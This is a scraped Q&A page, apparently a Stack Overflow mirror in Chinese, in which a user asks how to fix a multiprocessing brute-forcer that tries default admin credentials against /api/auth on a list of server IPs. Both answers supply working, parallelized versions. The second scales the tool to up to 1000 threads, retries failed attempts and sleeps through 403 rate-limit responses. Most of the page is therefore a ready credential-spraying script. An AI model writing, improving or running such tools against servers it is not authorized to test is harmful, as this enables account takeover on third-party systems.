【问题标题】:Stop multiprocessing from going through entire list for function for bruteforcer停止多处理遍历整个列表以获取 bruteforcer 的功能
【发布时间】:2022-01-15 15:30:57
【问题描述】:

我正在尝试使用多处理为我的道德黑客课程制作一个蛮力,我希望它遍历服务器 IP 列表并为每个 IP 尝试一次登录,但它在尝试制作之前打印每个 IP连接,然后在打印完所有 IP 后,它将开始尝试建立连接,然后打印几个 IP,然后尝试建立另一个连接,依此类推。

我只是希望它遍历 IP 列表并尝试连接到每一个,每个连接一个进程,一次尝试大约 20 个进程

import threading, requests, time, os, multiprocessing
global count2

login_list=[{"username":"admin","password":"Password1"}]

with open('Servers.txt') as f:
    lines = [line.rstrip() for line in f]

count=[]
for number in range(len(lines)):
    count.append(number)
    count2 = count

def login(n):
    try:
        url = 'http://'+lines[n]+'/api/auth'
        print(url)
        if '/#!/init/admin' in url:
            print('[~] Admin panel detected, saving url and moving to next...')
        x = requests.post(url, json = login_list)
        if x.status_code == 422:
            print('[-] Failed to connect, trying again...')
            print(n)
        if x.status_code == 403:
            print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
            time.sleep(20)
            print(n)
        if x.status_code == 200:
            print('\n[~] Connection successful! Login to '+url+' saved.\n')
            print(n)
    except:
        print('[#] No more logins to try for '+url+' moving to next server...')
        print('--------------')

if __name__ == "__main__":
    # creating a pool object
    p = multiprocessing.Pool()
    # map list to target function
    result = p.map(login, count2)

Server.txt 文件示例:

83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000

这些不是真实的 IP 地址

【问题讨论】:

  • 你完全隐藏了你的无条件和静态 except 块的任何可能的异常。

标签: python list multiprocessing python-multiprocessing brute-force


【解决方案1】:

我认为您对子流程映射函数如何将值传递给相关流程感到困惑。也许这会让事情变得更清楚:

from multiprocessing import Pool
import requests
import sys
from requests.exceptions import HTTPError, ConnectionError

IPLIST = ['83.88.223.86:9000',
'75.37.144.153:9000',
'138.244.6.184:9000',
'34.228.116.82:9000',
'125.209.107.178:9000',
'33.9.12.53:9000',
'www.google.com']

PARAMS = {'username': 'admin', 'password': 'passw0rd'}

def err(msg):
    print(msg, file=sys.stderr)

def process(ip):
    with requests.Session() as session:
        url = f'http://{ip}/api/auth'
        try:
            (r := session.post(url, json=PARAMS, timeout=1)).raise_for_status()
        except ConnectionError:
            err(f'Unable to connect to {url}')
        except HTTPError:
            err(f'HTTP {r.status_code} for {url}')
        except Exception as e:
            err(f'Unexpected exception {e}')


def main():
    with Pool() as pool:
        pool.map(process, IPLIST)

if __name__ == '__main__':
    main()

附加说明:您可能希望指定超时,否则由于默认重试,无法访问的地址将需要很长时间才能处理。查看异常处理。

【讨论】:

    【解决方案2】:

    首先我要提到的是,这是一项最适合多线程的工作,因为login 主要是等待网络请求完成,而且创建线程比创建进程效率更高。实际上,您应该创建一个线程池,其大小等于您将发布的 URL 的数量,最多为 1000 个(并且您不希望创建该大小的多处理池)。

    其次,当您进行多处理或多线程处理时,您的工作函数(在本例中为 login)正在处理传递给 map 函数的 iterable 的单个元素。我想你明白了。但不是将服务器列表传递给map,而是传递一个数字列表(它们是索引),然后login 使用该索引从lines 列表中获取信息。那是相当间接的。此外,您构建索引列表的方式可以通过一行来简化:count2 = list(range(len(lines))) 或实际上只是 count2 = range(len(lines))(您不需要列表)。

    第三,在您的代码中,您说您正在重试某些错误,但实际上没有这样做的逻辑。

    import requests
    from multiprocessing.pool import ThreadPool
    from functools import partial
    import time
    
    # This must be a dict not a list:
    login_params = {"username": "admin", "password": "Password1"}
    
    with open('Servers.txt') as f:
        servers = [line.rstrip() for line in f]
    
    def login(session, server):
        url = f'http://{server}/api/auth'
        print(url)
    
        if '/#!/init/admin' in url:
            print(f'[~] Admin panel detected, saving {url} and moving to next...')
            # To move on the next, you simply return
            # because you are through with this URL:
            return
    
        try:
            for retry_count in range(1, 4): # will retry up to 3 times certain errors:
                r = session.post(url, json=login_params)
    
                if retry_count == 3:
                    # This was the last try:
                    break
    
                if r.status_code == 422:
                    print(f'[-] Failed to connect to {url}, trying again...')
                elif r.status_code == 403:
                    print(f'[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying {url} again in 20 seconds')
                    time.sleep(20)
                else:
                    break # not something we retry
    
            r.raise_for_status() # test status code
        except Exception as e:
            print('Got exception: ', e)
        else:
            print(f'\n[~] Connection successful! Login to {url} saved.\n')
    
    if __name__ == "__main__":
        # creating a pool object
        with ThreadPool(min(len(servers), 1000)) as pool, \
        requests.Session() as session:
            # map will return list of None since `login` returns None implicitly:
            pool.map(partial(login, session), servers)
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2021-11-22
      • 2022-11-22
      • 2022-01-04
      • 1970-01-01
      • 2019-08-22
      • 2016-08-08
      • 2021-03-19
      相关资源
      最近更新 更多